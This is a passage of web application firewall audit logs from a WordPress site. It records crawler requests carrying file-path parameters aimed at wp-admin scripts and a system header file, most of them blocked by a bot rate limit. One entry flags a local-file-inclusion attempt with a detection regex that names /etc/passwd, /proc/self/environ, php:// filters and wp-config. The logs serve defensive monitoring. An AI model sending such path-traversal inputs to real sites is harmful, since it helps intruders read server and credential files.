{"transaction":{"time":"13/Mar/2026:09:14:19.036135 +0100","transaction_id":"abPHW026I4peWFmz15yXBwAAAUU","remote_address":"216.73.216.152","remote_port":50296,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fexport.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"8a26daf54b44172e94d84910d0956bba","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14286933"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"8a26daf54b44172e94d84910d0956bba","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/export.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":285,"p2":1976,"p3":0,"p4":0,"p5":539,"sr":120,"sw":109,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:19.150426 +0100","transaction_id":"abPHW026I4peWFmz15yXCAAAAUU","remote_address":"216.73.216.152","remote_port":50296,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fexport-personal-data.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3f626ce33fb2991f9ebbcf2391ba7188","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14286936"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3f626ce33fb2991f9ebbcf2391ba7188","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/export-personal-data.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":264,"p2":2498,"p3":0,"p4":0,"p5":470,"sr":117,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:19.253600 +0100","transaction_id":"abPHW2-XEucyBza91ntZlQAAAws","remote_address":"216.73.216.152","remote_port":38300,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fplugin-editor.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5aca01892e139a5de614572e6a7880c3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14286939"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5aca01892e139a5de614572e6a7880c3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/plugin-editor.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":292,"p2":2725,"p3":0,"p4":0,"p5":657,"sr":161,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:19.355021 +0100","transaction_id":"abPHW7J190y1fElY11bdLgAAAI4","remote_address":"216.73.216.152","remote_port":50876,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fedit-form-advanced.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"4d9390f3954b8b3e0192b0667b31ed73","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5543882"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"4d9390f3954b8b3e0192b0667b31ed73","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/edit-form-advanced.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":282,"p2":2765,"p3":0,"p4":0,"p5":436,"sr":126,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:19.453943 +0100","transaction_id":"abPHW7J190y1fElY11bdLwAAAI4","remote_address":"216.73.216.152","remote_port":50876,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fms-admin.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"14c2c1e801764e93b0b644535f88947a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14320501"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"14c2c1e801764e93b0b644535f88947a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/ms-admin.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":209,"p2":2478,"p3":0,"p4":0,"p5":457,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:19.553336 +0100","transaction_id":"abPHW0xHnLkyPWuTIW5QfgAAAYE","remote_address":"216.73.216.152","remote_port":40798,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Ftools.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3b668be7274a51309c92316d9b09e446","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11207580"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3b668be7274a51309c92316d9b09e446","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/tools.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":191,"p2":2050,"p3":0,"p4":0,"p5":452,"sr":115,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:19.656208 +0100","transaction_id":"abPHW2-XEucyBza91ntZmQAAAws","remote_address":"216.73.216.152","remote_port":38300,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fms-users.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b65422109ae5fcae5c3eec1f96bc75d0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11207583"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b65422109ae5fcae5c3eec1f96bc75d0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/ms-users.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":324,"p2":2835,"p3":0,"p4":0,"p5":516,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:19.758557 +0100","transaction_id":"abPHW1RY1ZHue1KnYxodkAAAApg","remote_address":"216.73.216.152","remote_port":50864,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fuser-edit.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e79997ccd2bf1a6e4b35c80d41ef445e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6166231"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e79997ccd2bf1a6e4b35c80d41ef445e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/user-edit.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":346,"p2":3059,"p3":0,"p4":0,"p5":496,"sr":160,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:19.847630 +0100","transaction_id":"abPHW1RY1ZHue1KnYxodkQAAApg","remote_address":"216.73.216.152","remote_port":50864,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fedit-form-blocks.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a7226f080a93281abbf7dfea384c2702","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8916197"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a7226f080a93281abbf7dfea384c2702","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/edit-form-blocks.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":252,"p2":1952,"p3":0,"p4":0,"p5":412,"sr":112,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:36.317494 +0100","transaction_id":"abPHa-EAMg66iR7kG38SmAAAA1I","remote_address":"57.141.20.49","remote_port":40824,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php7.2/include/php/main/php_globals.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"6841186a596f160fb111f0b3769d729a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13632081"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6841186a596f160fb111f0b3769d729a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.2/include/php/main/php_globals.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":201,"p2":4095,"p3":0,"p4":0,"p5":324,"sr":118,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:53.070171 +0100","transaction_id":"abPHfYB2aIMAFdsi8EHm5AAAAsQ","remote_address":"216.73.216.152","remote_port":40854,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fmoderation.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7d3f3f234941d86eb2afdb489932df3a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4525479"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7d3f3f234941d86eb2afdb489932df3a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/moderation.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":338,"p2":3482,"p3":0,"p4":0,"p5":996,"sr":156,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:14:53.164677 +0100","transaction_id":"abPHfVRY1ZHue1KnYxodrwAAAoc","remote_address":"216.73.216.152","remote_port":49146,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fload-styles.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5e499ac8a9840ff1555bdae734665f94","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4525482"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"5e499ac8a9840ff1555bdae734665f94","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/load-styles.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":273,"p2":2548,"p3":0,"p4":0,"p5":503,"sr":163,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for 